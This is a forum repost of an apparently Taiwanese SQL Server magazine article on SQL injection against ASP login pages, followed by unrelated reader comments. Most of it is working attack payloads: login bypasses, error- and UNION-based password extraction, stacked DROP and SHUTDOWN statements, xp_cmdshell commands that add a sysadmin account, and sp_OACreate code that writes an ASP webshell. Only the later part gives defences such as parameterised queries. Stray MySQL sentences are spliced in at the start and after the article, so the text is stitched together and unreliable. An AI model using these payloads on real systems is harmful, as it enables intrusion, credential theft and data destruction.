仓酷云

标题: MSSQL网页设计SQLSERVER2000一些内置存储历程用法和说... [打印本页]

作者: 仓酷云    时间: 2015-1-16 22:34
标题: MSSQL网页设计SQLSERVER2000一些内置存储历程用法和说...
这能找出所有错误的99.99%。它不能找出的是仅仅涉及数据文件的损坏(这很不常见)。如果你想要检查一张表,你通常应该没有选项地运行myisamchk或用-s或--silent选项的任何一个。server|sqlserver|存储历程
媒介

盘算机体系的平安一向是你我所器重的,但也许你一向在替体系安装修改文件,防毒软件,架设防火墙,规定非军事区等等,但大概因为撰写程序代码的忽略,你的面前正有一个本人营建的年夜毛病。

SQLInjection–骇客的SQL填空游戏

在当今的使用程序架构中,年夜部分都含无数据库,以包容形形色色的材料。而在各种型的数据库中,又以布局化查询言语(SQLStructureQueryLanguage)为基本的干系型数据库办理体系(RDBMSRelationalDatabaseManagementSystem)最为盛行。

一样平常的程序计划师在存取数据库时,常常是使用VisualBasic品级三代言语来构造SQL言语,然后再传送给干系型数据库体系实行,以创建或删除数据布局,付与或移除利用权限,以致于新增、修正、删除或查询材料。由于干系型数据库一切的实行举措皆是遵守SQL命令,以是透过此种体例能够很便利地完成各类材料保护事情。但也正由于SQL言语无所事事,以是稍有毛病就会让骇客有隙可乘。这两期文章就针对这个主题做一个深切的切磋。

网站的材料存取一样平常来讲是对照伤害的,由于网际收集是一个开放的情况,而不像一样平常公司外部收集,除有盘算机自己的平安计划,还能够过滤筛检员工的因素背景。网际收集上龙蛇杂处,年夜部分的利用者都循规导矩,但多数犯上作乱的人却挖空心思地要侵进我们的体系,夺取有代价的材料。但一样平常的网管职员及网页计划师,大概在平安设定上有侧重重提防,如架设防火墙,计划非军事区(DMZ),限定网站登进者的因素等等。但因为缺少对SQL言语及数据库办理体系的认知,而年夜开体系的后门。

本文针对微软的ASP网站架构搭配MSSQLServer做一个切磋及树模,但愿能供应各网站的办理职员对SQLInjection的进侵体例有个基础的熟悉,就笔者在撰写本文时,使用征采网站随便找几个有会员机制的网站来测试,个中多半都有被此类体例侵进的伤害,人人不成失慎。
笔者在此先创建一个一样平常会员网站登进网页的典范,和相干材料表的架构以下:
材料表的Schema如程序代码列表1。

CREATETABLE[tblUser](
[UserID][int]IDENTITY(1,1)NOTNULL,
[UserName][nvarchar](50)NOTNULL,
[Password][nvarchar](50)NOTNULL,
[Pri][tinyint]NULLCONSTRAINT[DF_tblUser_Pri]DEFAULT(0),
CONSTRAINT[PK_tblUser]PRIMARYKEYCLUSTERED
([UserID])
)

程序代码列表1:寄存会员材料的材料表Schema。

并在材料表到场两笔材料内容

INSERTtblUser(UserName,Password,Pri)VALUES(Admin,AdminPass,10)
INSERTtblUser(UserName,Password,Pri)VALUES(Byron,ByronPass,10)

登进网页的撰写体例如程序代码列表2。

<%
IfRequest("UserName")""AndRequest("Pass")""Then
Dimcnn,rec,strSQL
Setcnn=Server.CreateObject("ADODB.Connection")
Withcnn
.ConnectionString=Application("Conn")
.Open

使用利用者输出的材料来组合SQL语法
strSQL="SELECT*FROMtblUserWHEREUserName="&_
Request("UserName")&"ANDPassword="&Request("Pass")&""
间接交给SQLServer实行,这是最伤害的中央
Setrec=.Execute(strSQL)
EndWith
IfNOTrec.EOFThen
Session("UserName")=Request("UserName")
Response.Write"接待到临"&Request("UserName")
Else
Response.Write"您的帐号/暗码输出毛病"
EndIf

Else
%>
<Formaction="login.asp">
利用者称号:<InputName="UserName"><P>
暗码:<InputName="Pass">
<P>
<Inputtype="submit"Value="断定">
</Form>
<%
EndIf
%>

程序代码列表2:复杂的ASP登进网页。

在程序代码列表2中的ASP网页使用VBScript来组合查询利用者帐号、暗码的SQL查询语法,逻辑相称复杂,若材料表中存有切合的帐号、暗码纪录,则回传的Recordset的EOF属性是False,该利用者就算准确登进。
针对此种网页,我们以下就入手下手使用SQLInjection的技能来”骇”这个网站吧!

剪接语法

使用任何已知的利用者称号登进1:比方在网咖偷偷地察看某个利用者用甚么样的帐号登进到哪一个网站等等,或着先尝尝一样平常办理职员大概创建的利用者称号,如:admin、administrator、supervisor、sa等等。

在必要输出利用者称号的中央键进以下的内容2:
Admin’--
而暗码字段任意乱输出,关于会被实行的整句SQL没有甚么干系。表示图如。

:使用已知的会员称号登进,让程序代码跳过暗码反省。

你能够试着将输出利用者称号的内容与程序代码列表2的SQL语法做个收拾,将会发明实践传给SQLServer的语法以下

SELECT*FROMtblUserWHEREUserName=admin--ANDPassword=asdf

关头就是本来的AND子句被“--"标示成申明,也就是SQLServer仅仅实行

SELECT*FROMtblUserWHEREUserName=admin

天然,如有该利用者存在,则这个SQL查询语法就传回该纪录的一切字段内容。再依照程序代码列表2的判别体例:传回的Recordset是不是有纪录,如有就算登进考证乐成。则骇客就能够容易地以该利用者的因素进进了。
用未知的利用者称号登进:若没有已知的帐号,也能够用以下的体例输出到利用者称号字段,便能年夜小气方地侵进:

‘or1=1--

SQLServer所吸收的全部语法酿成:

SELECT*FROMtblUserWHEREUserName=or1=1--ANDPassword=asdf

由于加上的or1=1,则不论之前的前提为合,只需某个前提为真,全部判别式就都为真,因而回传的Recordset工具包括了全体的会员纪录。也招致程序代码列表2中的Recordset工具EOF属性为False。

使用毛病讯息

猎取字段数目与称号

微软为了便利ASP的程序开辟者能够顺遂地除错,因而每当Script实行毛病时,城市透过预设的<体系地点磁盘>WINNTHelpiisHelpcommon500-100.asp网页将产生毛病的缘故原由回传到前端,关于开辟者来讲,这是一个十分便利的毛病出现体例。但骇客也能够使用这个毛病讯息获得原始ASP中的查询语法,并从中懂得数据库中材料表的架构。比方在利用者称号字段输出:
HAVING1=1--
则体系会传回如的毛病讯息。


:存心打造毛病,从毛病讯息中找寻千丝万缕。

由能够晓得寄存利用者的材料表称号是tblUser,且查询中有一个字段叫UserID。因而我们再次输出:
GROUPBYUserIDHAVING1=1--
这回毛病讯息如。


:使用毛病讯息来懂得材料表大抵布局。

再次在的毛病讯息中可知查询的字段另有UserName,因而持续以以下体例来查询3。

GROUPBYUserID,UserNameHAVING1=1--

使用上述体例取到完全查询语法后,也就是输出以下的语法,但不再形成实行时代毛病:

GROUPBYUserID,UserName,Password,PriHAVING1=1--

由于全部传送到SQLServer的语法酿成:

SELECT*FROMtblUserWHEREUserName=GROUPBYUserID,UserName,Password,PriHAVING1=1--ANDPassword=asdf

云云列出一切字段的GroupBy体例几近即是没有GroupBy,但语法完整准确暗示一切的字段都已包括在个中了。骇客就此能够约略估量材料表的字段布局。

在输出帐号的中央实行以下语法即可以到场自订的利用者到材料表中。

;INSERTINTOtblUserValues(hacker,hacker,10)--

猎取字段材料型态

如有数据域位格局不合错误,招致没法到场自订利用者,也能够使用以下语法传回的毛病讯息来判读数据域位格局:

UNIONSELECTabc,1,1,1FROMtblUser--

了局传回如的毛病讯息。


:使用毛病讯息来判别字段的材料型态。

在这里我们透过UNION语法来组合两句SELECT查询,第一句SELECT语法的第一个字段UserID是int格局,但对应的第二句SELECT语法;第一个字段的材料是varchar格局的‘abc’,因而呈现如的毛病讯息。骇客也由此得知材料表第一个字段的材料型态是int。有耐烦地把一个个字段测试终了后,即可以失掉全部材料表的字段格局。

猎取会员的帐号暗码

使用这个技能,还能够再进一步猎取利用者的帐号和暗码,比方先以以下语法扣问帐号:

UNIONSELECTUserName,1,1,1FROMtblUserWHEREUserName>a--

IIS回传毛病讯息如。

:使用毛病讯息来获得利用者帐号和暗码。

由于传回的纪录”Admin”是nvarchar格局,而透过union对应到本来int数据域位,因而有的毛病讯息。由以上的毛病能够得知有一个称为”Admin”的帐号存在,以后再以以下语法取得该帐号的暗码。

UNIONSELECTPassword,1,1,1FROMtblUserWHEREUserName=admin--

毛病讯息如。


:使用毛病讯息获得帐号admin的暗码。

以后再持续以以下语法来取得别的人的帐号暗码。

UNIONSELECTUserName,1,1,1FROMtblUserWHEREUserName>admin--

毛病讯息如。


:依序透过不异的机制获得别的人的帐号暗码。

顺次交换失落WHEREUserName>的前提内容,就能够获得材料表中一切的帐号和暗码组合。
骇客乃至能够透过以下的语法将全部利用者帐号暗码串成字符串:在输出利用者帐号的字段填进如程序代码列表3的SQL语句。

;DECLARE@strVARCHAR(8000)SET@str=@SELECT@str=@str++UserName+/+PasswordFROMtblUserWHEREUserName>@strSELECT@strASIDPassINTOtblHacker--

程序代码列表3:将一切的利用者数据构成字符串,放进自订的数据表中。

在程序代码列表3中,先宣布一个长度为8000的字符串变量@str,再将全部tblUser材料表的内容构成一个字符串放到变量@str以内,最初再使用SELECT…INTO…语法把@str变量的内容放到自建的材料表tblHacker当中。

然后再使用前述存心营建毛病的技能换回材料内容。

UNIONSELECTIDPass,1,1,1FROMtblHacker--

了局如。


:取回全体的会员帐号暗码材料。

固然过后要做一个扫除的举措,以免体系办理职员的注重,仍然在称号字段输出以下的内容。

;DROPTABLEtblHacker--

在本期的文章中,笔者先容了一样平常的SQLInjection打击,信任你不是感应镇静且伎痒,想要找几个网站来开刀,就是感应不寒而栗,从速检视一下本人的体系。不论你是何者,笔者期盼本文不致遭到误用,如有心测试别站的平安水平,倡议你将功效告诉该站的办理职员,让全部网际收集的天下更加平安,常人才会乐意流涟在其上,而我们信息职员才有更好的将来。

鄙人期文章中,笔者将持续先容进阶的SQLInjection打击,并提出因应的提防之道,等候再次与你会晤。

跋文:本文所举各例,并不是单指MicrosoftSQLServer而言,现实上一切干系型数据库如Oracle等均是云云。同时,本文所举各例,并不是单指ASP而言,现实上对一切静态网页如JSP、PHP等均是云云(即便你的体系还停止在CGI手艺也是一样),劝告列位及时检视您的体系,及早防备。

(本文由SQLServer电子杂志http://www.sqlserver.com.tw受权台湾微软独家转载)

正文:

1

就笔者察看,当今良多的有会员机制的网站在登进时都是以因素证字号看成登进帐号,以是骇客只需想举措拿到某个会员的因素证字号就能够尝尝这个办法。

2

以下的SQLInjection登进体例都是只使用利用者帐号的字段,输出分歧的SQL语法,以构造各类大概的实行体例,而都使用“--”将前面的暗码字段标示成SQL申明。

3

骇客的第一特质:有耐烦。笔者因而就没有做骇客的先天,为了撰写这篇文章,笔者反重复覆地测试各个网站,反复的历程十分有趣,所得结论是既然有这个精神,笔者宁肯多看点书,赚取合法的支出。







SQLInjection–骇客的SQL填空游戏(下)

SQLServer自己供应了十分多的函数、预存程序、延长预存程序来帮助T-SQL,好让程序计划师透过T-SQL完成贸易逻辑运作所需的预存程序。但一样平常的利用者较熟习以VisualBasic等程序言语来撰写存取材料的程序,因此对此类的功效所知未几,更别提纲怎样提防骇客透过这一类的功效来遂行其目标。

利用具损坏力的语法

以以下举部分的功效稍做会商。

停失落SQLServer的实行

间接输出Shutdown命令,请求SQLServer中断实行。在网页上输出帐号的中央能够间接键进以下语法即可:

;SHUTDOWN--

损坏内容

固然,只需权限够,也能够实行有损坏性的SQL语法1。如删除某个数据库:

;DROPDatabase<数据库称号>--

删除数据库内某个材料表:

;DROPTable<材料表称号>--

清空某个材料表:

;TruncateTable<材料表称号>--

抑或是以DELETE清空材料表:

;DELETEFROM<材料表称号>--

利用进阶且功效刁悍的延长预存程序

这一类的预存程序多以xp_开首,寄存在master体系数据库的延长预存程序中。风趣的是年夜部分的延长预存程序在SQLServer所附的线上申明中都没有列出来,也没有申明。笔者本想到微软网站使用全文检索找寻这些延长预存程序的千丝万缕,以列表会商,但发明年夜多是无可告知(undocumented),看来延长预存程序固然功效壮大,但微软其实不勉励人人利用。
笔者选几个较风趣的分离先容。

实行别的使用程序

xp_cmdshell应当是人人最常利用的延长预存程序之一,透过这个延长预存程序能够SQLServer的体系帐号来实行任何使用程序。

以下程序代码列表1间接使用操纵体系所附的NET工具程序,在Windows体系中到场一个利用者帐号Hacker;没有暗码,并将该帐号加到SQLServer,再放进到最年夜的利用者权利群组sysadmin:

;EXECMASTER..XP_CMDSHELLnetuserHacker/addEXECMASTER..SP_GRANTLOGINBYRON-XPHackerEXECMASTER..SP_ADDSRVROLEMEMBERBYRON-XPHacker,sysadmin--

程序代码列表1:到场自订的利用者,并付与该帐号最年夜的权限。

若你还开放网际收集存取SQLServer预设利用的TCP1433埠,则骇客将无机会唐而皇之地控管SQLServer。

与Registry相干的体系预存程序

SQLServer供应了大批与Registry相干的延长预存程序,以xp_reg开首作为代表2。内容有:

xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemultistring
xp_regwrite

骇客能够使用此类的延长预存程序存取体系的注册材料,比方查询该呆板上有哪些共享目次,典范如程序代码列表2。再使用上一期的技能,以毛病讯息来出现了局。

CREATETABLEtblShareDir(DirNameVARCHAR(100),DirAttVARCHAR(100))
INSERTtblShareDirEXECMASTER..XP_REGENUMVALUESHKEY_LOCAL_MACHINE,systemCurrentControlSeterviceslanmanserverhares

程序代码列表2:使用XP_RegEnumValues获得体系的共享目次。

再使用上篇文章先容的以毛病讯息来出现了局的技能,或是以下文中透过bcp.exe工具程序将tblShareDir输入成档案,都能够获得想要的了局。

与OLEAutomation/COM工具相干的延长预存程序

SQLServer供应了一组存取服务器内部OLE工具相干的预存程序。它们分离是:

sp_OACreate
sp_OADestroy
sp_OAMethod
sp_OAGetProperty
sp_OASetProperty
sp_OAGetErrorInfo
sp_OAStop

你能够用它们来创建OLE工具(一样平常COM工具就能够了,但要撑持IDispatch接口),实行工具的办法,读取与修正属性,举行毛病处置。但它们没法呼应一样平常OLE或COM工具的事务。

有了COM/OLE工具的创建与实行,关于把持体系来讲可算是为虎傅翼,无所事事了。稍举个例子,骇客能够使用它来获得有乐趣的网页的原始码,如程序代码列表3:

;DECLARE@shellINTEXECSP_OACREATEwscript.shell,@shellOUTPUTEXECSP_OAMETHOD@shell,run,null,C:WINNTystem32cmd.exe/ctypec:inetpubwwwrootqlinjectlogin.asp>c:inetpubwwwrootqlinject        est.txt--

程序代码列表3:获得login.asp网页的内容。

在程序代码列表3中,使用SP_OACREATE创建“wscript.shell”工具,并使用SP_OAMETHOD呼唤“wscript.shell”工具的run办法,以实行操纵体系命令接口工具程序cmd.exe,将login.asp输入到test.txt档案中,这时候骇客只需在网页上输出http://.../.../test.txt就能够看到login.asp写作的体例,作为下一步侵进的基础信息。

固然,骇客也能够使用Scripting.FileSystemObject工具来创建一个ASP网页后门,语法如程序代码列表4所示:

DECLARE@fsint,@fiint
EXECSP_OACREATEScripting.FileSystemObject,@fsOUTPUT
EXECSP_OAMETHOD@fs,CreateTextFile,@fsOUTPUT,C:InetPubWWWRootQLInjecthell.asp,1
EXECSP_OAMETHOD@fs,WriteLine,null,<%SetobjShell=Server.CreateObject("WScript.Shell"):objShell.RunRequest("cmd")%>

程序代码列表4:创建ASP后门网页。

今后透过URL就能够实行任何实行文件,典范以下:

http://localhost/sqlinject/shell.asp?cmd=C:WINNTystem32cmd.exe/ctypec:inetpubwwwrootqlinjectlogin.asp>c:inetpubwwwrootqlinject        est.txt

别的相干的延长预存程序

这一类的延长预存程序,你大概要当心的另有:

延长预存程序的称号

用处

利用典范

xp_availablemedia

显现体系上可用的磁盘驱动器,如C:。

xp_availablemedia

xp_dirtree

显现某个目次下的子目次与档案架构。

xp_dirtreec:inetpubwwwroot

xp_enumdsn

列出体系上已设定好的ODBC材料来历称号(DSNDataSourceName)。

xp_enumdsn

xp_enumgroups

列出操纵体系上的利用者群组及该群组的申明。

xp_enumgroups

xp_getfiledetails

猎取某个档案的相干属性。

xp_getfiledetailsC:InetpubwwwrootQLInjectlogin.asp

dbo.xp_makecab

将方针多个档案紧缩到某个方针档案以内。
一切要紧缩的档案都能够接在参数列的最初方,以逗号离隔。

dbo.xp_makecab
c:        est.cab,mszip,1,
C:InetpubwwwrootQLInjectlogin.asp,
C:InetpubwwwrootQLInjectecurelogin.asp


xp_ntsec_enumdomains

列出服务器的网域称号。

xp_ntsec_enumdomains

xp_servicecontrol

停失落或激活某个服务。

xp_servicecontrolstop,schedule
xp_servicecontrolstart,schedule

dbo.xp_subdirs

只列某个目次下的子目次。

dbo.xp_subdirsc:

xp_terminate_process

停失落某个实行中的程序,但付与的参数是ProcessID。
使用”事情办理员”,透过选单「检视」-「选择字段」勾选pid,就能够看到每一个实行程序的ProcessID

xp_terminate_process2484

xp_unpackcab

解开紧缩档。

xp_unpackcabc:        est.cab,c:        emp,1

以上表列的延长预存程序是笔者在master体系数据库中,寻觅称号对照风趣的;经由逐一测试的了局。但不代表能够用来侵进体系的延长预存程序都已完整列出,究竟骇客的创意频频创新,你必需要不时审慎当心。

SQLServer的工具程序

透过SQLServer所供应的一些工具程序能够间接将材料表的内容输入成档案,比方透过bcp的out参数,将贮存会员材料的材料表全部输入成档案,典范以下:

bcpnorthwind.dbo.tblUseroutC:inetputwwwrootqlinjectuser.txt-c-Usa-P-SByron-XP

固然,isql.exe和osql.exe也都能够办到一样的功效,比方:

osql-Usa-P-SByron-XP-dNorthwind-oc:inetpubwwwrootqlinjectusers.txt-Q"select*fromtblUser"

这一类的工具程序能够搭配前文的xp_cmdshell延长预存程序,或是交由使用sp_OA系列预存程序创建的木马ASP来实行,都能够到达夺取材料的目标。

关于防备SQLInjection的倡议

综合以上各类的侵进技能,笔者在此归结一些保护体系平安的倡议。
只管天时用ASP或ASP.NET在服务器端反省与限定输出变量的型别与长度,过滤失落不必要的内容。要注重的是这些反省不要放在前端。
就算在前端使用HTMLInput卷标的MaxLength属性,或是以JScript撰写程序来设定字段长度的限定,只需将该网页另存新档,修正内容后(一样平常只需改写Form的Action属性和Input的MaxLength属性),从头以扫瞄器开启再实行即可避过这些扫瞄器真个反省。ASP程序登进SQLServer的帐号不要利用sa,或任何属于Sysadmin群组的帐号,制止有过年夜的权限。sa必定要有巩固的暗码,特别是SQLServer7.0之前的版本,在装机时预设sa没有暗码,而一样平常办理者装完后也忘了或怕贫苦而不变动暗码。使用ADO的Command工具或ADO.NET的SqlCommandclass来透过参数实行SQL语法,间接以ADODB的Connection工具实行预存程序的写法一样糟。典范以下:
ExecspXXX参数,…

由于骇客所到场的SQL语法一样能够实行:

ExecspXXX参数,…;SHUTDOWN

我们能够创建一个预存程序程序代码列表5:

ECREATEPROCspUserAccount
@UserNameNVarchar(50),@PasswordNVarchar(50)
AS
SELECTUserName,PasswordFROMtblUser
WHEREUserName=@UserNameANDPassword=@Password

程序代码列表5:用来找寻切合的利用者帐号暗码的预存程序。

同时将全部ASP的查询换成如程序代码列表6的写法:

<%
IfRequest("UserName")""AndRequest("Pass")""Then
Dimcnn,rec,strSQL,cmd
Setcnn=Server.CreateObject("ADODB.Connection")
Withcnn
.ConnectionString=Application("Conn")
.Open
EndWith
透过ADODB.Command工具来搭配预存程序,骇客就没法
使用组合SQL字符串的体例来侵进体系
Setcmd=Server.CreateObject("ADODB.Command")
Withcmd
.ActiveConnection=cnn
.CommandText="spUserAccount"
.CommandType=4adCmdStoredProc
.Parameters.Append.CreateParameter("UserName",202,1,50,Request("UserName"))
202代表adVarWChar,1代表adParamInput
.Parameters.Append.CreateParameter("Password",202,1,50,Request("Pass"))
Setrec=.Execute()
EndWith
IfNOTrec.EOFThen
Session("UserName")=Request("UserName")
Response.Write"接待到临"&Request("UserName")
Else
Response.Write"您的帐号/暗码输出毛病"
EndIf
Else
%>

程序代码列表6:使用ADODB的Command工具来存取预存程序。

如程序代码列表6中灰色的程序代码区块,将存取SQLServer预存程序的体例改以透过ADODB的Command工具,云云骇客就不克不及用到场自订SQL的语法来请求SQLServer实行分外的举措。
改失落预设的Web假造路径,不要利用IIS装好后预设的<体系地点磁盘>InetpubWWWRoot路径,不然使用前述的档案存取体例,很简单在该目次下下手脚。不要显现毛病讯息到前端。
使用VBScript语法的OnErrorResumeNext,并搭配IfErr.Number0Then的毛病处置体例,自即将毛病重导到得当的毛病处置网页,云云体系将更安定,且骇客也不容易透不对误讯息来探知体系的外部运作体例。
或着,也能够修正<体系地点磁盘>WINNTHelpiisHelpcommon500-100.asp预设网页,最复杂的体例就是将它变动名字3。将用不到但功效壮大的延长预存程序删除。监控体系的实行。防火墙封闭TCP1433/UDP1434埠(port)对外的联机4。随时注重是不是有新的修补程序要上。
以上是针对SQLInjection防护体例的倡议,但我们应当服膺于心的是天下上没有相对平安的体系,只要本人不时当心,多看多听骇客们是不是有创新的伎俩,体系是不是有非常的情况,惟有不休增强体系的平安措施,才干将伤害降至最低。

相干网址

以下是一些关于SQL和体系平安的网址,供应给人人参考。
http://www.sqlserver.com.tw/
http://www.microsoft.com/sql/
http://www.microsoft.com/security/
http://www.microsoft.com/security/security_bulletins/ms02020_sql.asp
http://www.sqlsecurity.com/
http://www.nextgenss.com/
http://www.atstake.com/
http://www.securityfocus.com/
http://www.appsecinc.com/

(本文由SQLServer电子杂志http://www.sqlserver.com.tw受权台湾微软独家转载)

正文:

1

就笔者的察看,一样平常的程序计划师多喜好用SQLServer最年夜的预设帐号sa来存取材料。因而赐与骇客予取予求的权利。

2

这里表列的延长预存程序能够透过EnterpriseManager或QueryAnalyzer看到,可是在SQLServer线上丛书找不到相干材料。

3

笔者不倡议一入手下手就删除500-100.asp,由于这会招致很难替程序除错。倡议在程序开辟完成上线后,将500-100.asp变动称号。在自行撰写的aspn首到场OnErrorResumeNext/IfErr.Number0Then等,毛病处置应当是在程序撰写时就要注重的程序架构,若为了除错便利,能够先以单引号让OnErrorResumeNext语法成为申明。

4

有呈报显现当今有收集蜘蛛专门寻觅在网际收集上,能够间接透过TCP1433/UDP1434埠(port)存取,但sa帐号没有设定暗码的SQLServer,在找到该服务器后便当用前述的技能获得对体系的把持权。


mysqld进程在一个写入当中被杀死;计算机的意外关闭(例如,如果计算机掉电);一个硬件错误。
作者: 爱飞    时间: 2015-1-19 16:35
我们学到了什么?思考问题的时候从表的角度来思考问
作者: 海妖    时间: 2015-2-2 22:17
财务软件要用SQL也只是后台的数据库而已,软件都是成品的,当然多学东西肯定是有好处的..
作者: 愤怒的大鸟    时间: 2015-2-8 13:12
不过话说回来了,绝大多数的性能优化准则与对sqlserver存储的结构理解息息相关
作者: 飘灵儿    时间: 2015-2-25 15:02
对于微软系列的东西除了一遍遍尝试还真没有太好的办法
作者: 乐观    时间: 2015-3-7 22:44
数据库物理框架没有变动undo和redo都放在数据库得transaction中,个人感觉是个败笔。如果说我们在设计数据库的时候考虑分多个数据库,可能能在一定程度上避免I/O效率问题。
作者: 小女巫    时间: 2015-3-15 16:12
SP4包括用于以下SQLServer2000组件的程序包:Database组件(下载文件:SQL2000-KB884525-SP4-x86.EXE)更新SQLServer2000的32位Database组件,包括数据库引擎、复制、客户端连接组件及工具。有关其他信息,请参阅ReadmeSql2k32Sp4.htm。AnalysisServices组件(下载文件:SQL2000.AS-KB884525-SP4-x86.EXE)更新SQLServer2000的32位AnalysisServices。
作者: 因胸联盟    时间: 2015-3-22 02:10
你可以简单地认为适合的就是好,不适合就是不好。




欢迎光临 仓酷云 (http://ckuyun.com/) Powered by Discuz! X3.2